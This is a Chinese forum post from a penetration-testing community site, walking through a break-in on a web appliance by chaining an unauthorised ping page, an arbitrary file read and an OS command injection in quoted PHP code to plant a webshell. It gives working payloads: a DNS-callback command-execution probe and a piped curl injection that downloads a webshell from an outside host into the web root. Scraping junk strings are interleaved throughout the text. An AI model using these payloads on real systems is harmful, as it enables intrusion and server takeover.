中国网络渗透测试联盟
标题:
Web安全之实战通过os命令注入漏洞getwebshell
[打印本页]
作者:
admin
时间:
2022-3-31 01:39
标题:
Web安全之实战通过os命令注入漏洞getwebshell
[md]**一、
( D. f3 J9 B/ P
** **寻找突破口**
% f0 P/ x( E7 Q* Y. L7 `
^9 t! j7 M) }& T( Q6 U
**经过右键查看源代码发现系统的特征为:images/select_bg.png,去钟馗之眼搜索如图:**
D; H' I: @% a5 y
: O' O6 V6 k, x3 J1 R

, v- X! r& G% I* L& {7 n
& s* L8 T1 ~; z
- K' W% E3 O5 e
! l; R, O4 W9 K3 O1 k+ W
**发现reporter和[Technology,
, z; n5 N) ^2 K) T2 E
Inc.](
https://www.zoomeye.org/searchRe ... title:%22Technology
,%20Inc.%22&t=all)都采用这个特征,然后一看之前搞过这样的系统,有源代码,对照源代码目录发现了未授权访问页面。**
! p7 d" b! J9 X) F2 U7 e
2 p, i! X0 Q3 Y% _! t4 X. X
**地址为:**
6 Y# |* y/ |1 v* T& c* U( B6 K; f# N
5 s. z& Q5 I8 k; e/ x* E" }
[
http://1.1.1.1//view/systemConfi ... ;text_packetsize=64
](
http://1.1.1.1/view/systemConfig ... ;text_packetsize=64
)**,如图:**
9 }# ]& R% a' y& N$ H
- }/ X5 q9 K$ g5 x' a2 e" r( A

! L" C0 J+ m5 Z5 L2 o. z
; \( @6 D% b: r' }% _( j
+ i5 U2 N2 h( d7 l% _: z
$ g$ l8 t+ D* W1 R/ M# ?1 P
**测试ping这里的功能,发现可以绕过ping正常功能执行命令,payload为:**
6 {6 ^! d# ~. E
4 X1 Z8 |" [, Q1 w8 X2 I
**`whoami`.1111.ceye.io** **,如图:**
/ N) S1 m3 d, r! @. t) I: l
' O5 k$ h5 n6 t9 B& V# ~3 |, l0 j. F

& y- ^5 E6 s+ f2 Q/ H" r/ L( B
* V6 [) R, L8 ?" }
- ~8 ~6 U& q/ @+ @2 Z2 M
; J: w0 r: `" ~/ _2 R! }4 R7 e. K" y
**返回dns记录如图:**
& C4 U" L- ~5 y1 J1 n' ^1 b9 p" M
6 ~9 L1 y/ h3 ^$ E( g3 @( x# t8 r7 ~

+ b( s0 N) A! D, z) u
" K. R% k" |1 f& g9 i; H- W3 X
: E ^2 k$ r7 h: l5 O: I
5 }8 J: ]+ f# f
**发现当前用户权限为root**
( \% q1 z- f# H( z" I$ @$ v x% @
$ L1 Z/ E' p& K* [
**一、
$ d1 }! [- Z! j: ~
** **通过漏洞组合getwebshell**
6 H5 k$ t/ N4 D
, L9 B- B2 v% V6 G p4 O4 F
** ** **文章就按照挖洞顺序往下写,紧接着执行pwd命令获取web路径,如图:**
F* ~! Y9 d& x- I+ _( r
% W/ t! ^ Z8 j4 u8 C1 B8 L

: N2 N: C3 k5 s/ W3 h
8 x0 U7 ^$ g7 B+ Q' D" |) e9 ~
3 Y7 @+ [. e' x# R' h3 ~
3 ~2 l9 e. ?5 Z$ g+ w$ J" l7 M6 d7 Q
**得知网站路径为:/var/www/html/view/systemconfig/systemtool/**
! s( H* K2 p8 x& C2 n9 q
7 V3 B3 a+ I+ T0 C; U
**正好利用burpsuite发现一处os命令注入漏洞与一处任意文件查看漏洞,如下图为任意文件查看漏洞截图**
4 g3 _8 w" Y: A0 p0 j
3 \7 {% a( A7 Z, [0 r4 {

3 S1 t, p9 ~4 z, {0 {3 s7 W
) `$ p/ c6 o3 o! u% r& w, c
**Os** **命令注入存的处为:/var/www/html/view/Behavior/toQuery.php,这个路径是通过第一步绕过ping命令正常功能执行命令漏洞获取到的,通过任意文件查看漏洞,我们读取一下源代码**
, P/ V$ l" ^. U0 A" |
2 S. H' N- V1 _, [* ^3 _% E
\
7 r. Q0 t4 @, t' Q! [# V
* b8 M% g/ A* X" \9 ?. v0 t
$ p: W3 s8 Q& Q7 J
**源代码为:**
( O6 a8 ^( m1 i
0 Z U( `9 ?5 L4 M0 y# r6 w3 ^9 z, [
<?php
1 }/ [# {9 A/ A; q
include_once($_SERVER["DOCUMENT_ROOT"]."/model/charFilter.php");
9 A! |1 l1 ]$ x* Z7 x8 g! w0 G
?>
) W8 ^, l& @, R1 j# n) `
- L! { F1 ^+ _( r: i" i; [, ?
<?php
, ^' i' |6 W3 v4 R% O& {
) P* E) Q6 }2 r; P1 d% n
% A, i% _# d* B
- E2 [' N/ q3 Z% F
session_start ();
2 o) T7 H! K/ j( W4 k
. j) } {- _ I- z. c' p
5 o* e4 \* Z2 k: c. W. P6 g
6 ]' p' b) O6 I
, ^ n- Q- }: y/ w6 R
* k% a; T5 _( S, ~9 c. ?
# P9 v6 k( v$ O8 m# k: w& Q
! k2 E8 `9 M* M. G! {( b% R
if ($_GET ["objClass"] == "")
( J% S# Y7 e. ~" g- N, C5 p* m
2 D' v5 p5 \4 |6 j; H, m" x
4 T: L8 Q& v' m0 `3 H8 f1 ?* }" S. b
$ E" C- j) \2 j1 [- [7 r
exit ();
w- q: J+ H# Z' @9 a& t
8 H* Q" b+ t. J/ o/ a
0 O G0 h& q V' N- L" Y6 c
- s; q# m- D" r0 R% d
$param = $_REQUEST;
* q( x, F7 K+ Y- a1 b7 }
( b* c# B2 C0 d9 H! u6 ]
0 m* e, U' U. n: j+ [2 K; V5 n
: Z; s, I: w F# ~: L% `
n0 n n7 q+ W& x0 Q
: i( F/ r/ h9 K. W1 b( {
* L) I1 S3 \/ }# k
- ~% j$ M" t8 l! j |4 ~3 z
//echo "\n--------------------------\n";
, Q4 X8 O. ^/ f; `
7 U) c- d& L% A8 m
2 w* w/ R! n4 X
3 D; a: s0 @ r% H% I
//print_r($param);
/ q* ^) z4 s9 Z$ o2 o2 u
3 E# g% C" n# T
9 v) @2 ]+ L8 P9 u( o
* `0 w; G" w# F5 j% g8 z
//echo "\n--------------------------\n";
1 ?. h* h6 N1 v
# F( c* \7 s' `1 ~; V' x }: i- P1 l
: [8 o5 f# y: y( Z; @1 a
T* r a1 y7 t
[if ($_GET ["method"] ==
/ M: O. w7 O& j5 R2 d
"getList" || $_GET ["method"] == "import" ||
O9 m# P: `2 B2 {4 f
$_GET ["method"] == "processAlarm") ](){
% _# e- C8 E0 S& X3 B. n# k; v
5 ^% u& E/ l1 E! ?+ D% d. b
" \3 u' B$ ?% |0 v
$ A4 s5 g. G6 P+ I
$param
! Q3 ]2 }# x. E
["user"] = $_SESSION ["s_userName"];
# ~2 b w2 C+ d$ w5 F' q* v; ?# x
, [+ `' N. `- s5 R5 T
( q I( N: O$ Y5 m8 F/ q! Z$ W
5 w! b! l: o* W
$param
7 T1 B3 ?4 P& t: v& p
["lan"] = $_SESSION ["lan"];
8 H5 j$ v# r3 p2 J2 E! t
0 u8 p$ A. B3 e5 O/ P/ L
/ f7 x& P( n. H h7 o
/ [! {1 {1 C& S$ l) ^. s+ @* N# J
$param
" E3 `5 A b* u/ u
["regUserpath"] = $_SESSION ["regUserpath"];
4 @+ Q. e6 v, x: _
+ w, ^$ |! f" M3 y& k$ R. b1 |
8 J' d5 O$ g: u, m( r" C
/ K. {$ d" U/ e0 b( o
2 r0 Z- h7 a, D4 f# p; F& {
3 U7 Q- B. k, B, S: W4 l: V
8 K0 y- `( ?: u, R2 M0 ~
8 ~+ {8 g& ]7 |& X6 _
exec (
0 A! p- Q' Z1 Z5 h* N0 h
"rm -rf /tmp/cache" );
/ T, e1 p( B0 q4 R5 u I- U
. F. O3 O X. ?+ H% Z* \" j
# l. p( C) X2 Y4 \# l
* w3 m) M$ v* `: h! D1 y
[$cmd = "/usr/local/php/bin/php ".$_SERVER
) c. m4 D% T5 `! k' i0 F! d- {
["DOCUMENT_ROOT"] . "system/behavior/behavior_query.php";]()
2 ]8 M- P% d& d- F* Q. _# h
8 n! d9 O0 \# @ I$ r
+ D) L! |0 [. ?
4 Y) M6 y1 j8 j T) M- [0 P3 G
$cmd .=
! Q( m; U' p7 O
" " . $_GET ["objClass"];
% `" Q v7 f$ K. U- G$ C! V5 B, C
6 P% e, t2 }& r3 k
7 i/ c# x6 u+ t# B3 I; c# K
2 T W h4 L6 F2 R" g6 L
$cmd .=
& }6 F" X6 }) O$ l; Y
" " . $_GET ["method"];
' l! T. R4 ~* W! o8 j
6 P& W' n! x# `, \
( v; l7 i- `; a
6 F. a+ U- p1 q: Z
$cmd .=
4 q! @/ }* m: z. q# f8 r2 X
" " . base64_encode ( json_encode ( $param ) );
' |* z) D) `5 A) r1 Y* n
) l& N; b& v9 }/ X. N
6 g! P$ }! t/ ~0 \! @2 W
: {* |' \7 X. ]( G( k/ d
[file_put_contents("/tmp/query_cmd",$cmd);]()
/ a- h: W1 q5 U3 [9 D! [) J0 Y9 }
6 f, `3 v1 B: n5 C/ W3 S, j( G4 g
6 |3 v! `1 P7 \( N
" U T$ l: F- _. X) S: u. t9 h; B5 p
exec ( $cmd . "
+ z2 z& ^/ g" Z) p8 g4 k% j6 W- G
> /dev/null &" );
! X9 ?# d$ g0 s7 p1 Z1 }
' S' I. J5 o" v7 u( w
9 [( e0 f \& j
+ @% O: ~! i* T. P1 N& s% c
7 n+ w7 E. q: a
, S7 l8 }* Y% m, I
} else {
: R: X" r, f4 W) L e+ S
8 o! [5 j: @+ ^, k- k
; w4 D4 @/ \6 v0 c9 U/ T, v4 [
( \6 k: X$ _2 N D/ @% g, c0 Z. ?" i
require_once
' f( Y0 e# c* L( p
($_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_Detail.php");
+ A6 q! K5 K. o' f3 w: _. N ^
; \# u9 z v/ p- Q" Q6 g
5 {1 e: L6 C. Y7 |
6 _! T! H) ?0 Y: l/ h8 H' U& a/ Q
$obj = new
0 [* N3 f: l8 \$ i0 w! i3 T
QueryInterface ();
1 i- e6 `1 Z! N1 ]# x& f
0 R1 F. s2 {( z& ~6 I
* o" y7 K) A' G# v7 l
3 M- b2 B. S; h
$instance =
+ F: X$ Z) d* T) D4 i) Z. |
$obj->getInstance ();
6 A& P, { |' k! |
' @+ j; |$ i" n% R# k+ D' Q
- Y2 B5 R1 N+ e6 s' a" g
i1 K. U6 e9 j' X
$instance->invokeMethod
9 x4 w2 r2 |+ n; H- V1 v8 r
( $_GET ["objClass"], $_GET ["method"], $param );
' S: F8 z% m" K& X! ?3 l7 g
0 k" e* {3 `. J# R9 k
7 q ?8 W8 g+ H" d6 p7 @3 s( {
@) |. s! g' J' l) I5 K
}
3 q' h* i- P' t8 n4 j) U2 ~, y
4 Y1 s# V7 }0 K8 ]0 b
) Q' e1 b2 J4 L _- t
/ X7 D% O% E' I3 b H; y
exit ();
) q9 g3 {2 Z9 L7 x
$ n$ A( b" T+ F0 {( U3 c4 c
# p& H8 `, f* q# I6 C/ ? q
; n! B" `8 k# v. o" b1 X. I
?>
2 f! A# T+ n0 P
( L. I5 E/ n8 k& T6 F3 p
**经常简单审计发现if ($_GET
7 ?! l8 Q2 l3 G6 C0 f4 k7 k
["method"] == "getList" || $_GET ["method"] ==
+ c4 Y* K* a0 D' D$ A0 u3 N
"import" || $_GET ["method"] == "[processAlarm]()"),如果method只要等于getList、import、processAlarm这其中一个,$cmd =
6 ]' W& q! r7 b, K( Z- z6 W* F: s
"/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] .
$ H4 G# @( v7 U, r
"[system/behavior/behavior_query.php]()"; cmd等于web绝对路径+ system/behavior/behavior_query.php,然后file_put_contents("/tmp/query_cmd",$cmd);**
% x* W. ~* H2 C: [: n
" @0 o# p9 L9 g+ e7 {, Y
** exec ( $cmd
6 Y j2 P) P/ X# X4 B0 e- J
. " > /dev/null &" );** **给我们构造了一个命令注入的参数,这里直接造成了OS命令注入漏洞,下面看我演示**
( {3 a" P; ]. H1 a) B4 O
% z+ k. l/ u: {9 F/ @2 I/ t/ j& i
! N1 q- F# s8 k9 H

2 k# @4 s# ^: ^/ _* ~
% \& J: {+ O0 Z) j9 F, c
& x6 g/ b# S% R1 h
" R' L% G9 D/ K9 H
**图中objClass=存在OS命令注入漏洞,我之前试图通过bash反弹shell,但是测试了一晚上没反弹成功,最后选择了curl下载webshell,payload如下:**
( v& W# L4 l- F
( e/ {! K# K6 F9 B! N
**%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php**
; O5 }/ R4 y0 m; x; s
4 d/ W: h+ @$ q. ?4 S
**我们用url解码如下:**
& Q+ ]" j. p1 x. G* K: n
0 L, J: x1 T9 | ~! b4 Z; J. ?& N
**|curl
http://1.1.1.1/qYCwxRz1.zip
-o
" a3 [+ O* d( g! V8 |
/var/www/html/images/suiji2.php||`pcurl
http://1.1.1.1/qYCwxRz1.zip
-o /var/www/html/images/suiji2.php` #' |curl
http://1.1.1.1/qYCwxRz1.zip
-o
( b4 N6 i5 R% u% O+ \' d& q
/var/www/html/images/suiji2.php||`curl
http://1.1.1.1/qYCwxRz1.zip
-o /var/www/html/images/suiji2.php` #\" |curl ** [**
http://1.1.1.1/qYCwxRz1.zip
-o /var/www/html/images/suiji2.php**](
http://8.136.218.186/qYCwxRz1.zi ... l/images/suiji2.php
)
5 F5 G: o; P4 e% j5 p
5 [6 h1 G$ x: d8 }& K1 T
**使用这么多管道符|就是要闭合payload,最后成功curl下载webshell如图:**
( v- w f9 u! b2 L: Q2 O: T
* A: w) J; _/ E) e9 |" | ~0 M! e
! t4 z3 j) L1 }6 L5 r" _

' D! w5 x- ]9 ~$ U* `
8 }8 ~4 D. W- }4 t8 `0 p$ Y1 @
$ \- b M# h1 k7 Q0 E& c1 ]
2 S9 Z x: F0 r7 P
8 f+ w) c+ }' d: U% u4 \
**三、总结**
! {/ ~2 H, K( W a5 h
$ \8 M7 P$ g1 n' t+ F9 N
** ** **案例之所以最终获得webshell,很大程度上是取决于几个漏洞的组合,首先通过右键查看源代码找到目标系统使用的系统,因为之前测试过与目标类似的程序。然后“对症下药”找到了ping未授权访问页面,通过绕过ping命令正常功能执行pwd命令获取到网站绝对路径,其次,使用任意文件查看漏洞去读取疑似存在os命令执行漏洞的php进行简单审计,经过确认存在此漏洞,最后构造os命令执行payload,最终getwebshell,整个getwebshell过程就是一个漏洞的连环组合,渗透更多的时候是靠运气,如果这几个环节有一个环节漏洞不存在或者没挖到,可能导致getwebshell失败。**
& R% z. P" H2 }' c# v
9 F$ |0 m$ S3 N/ ?9 i O
** ** **综上所述,运气与挖洞功底同等重要,谢谢观看** **! **
4 h- v9 F6 s1 U
[/md]
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2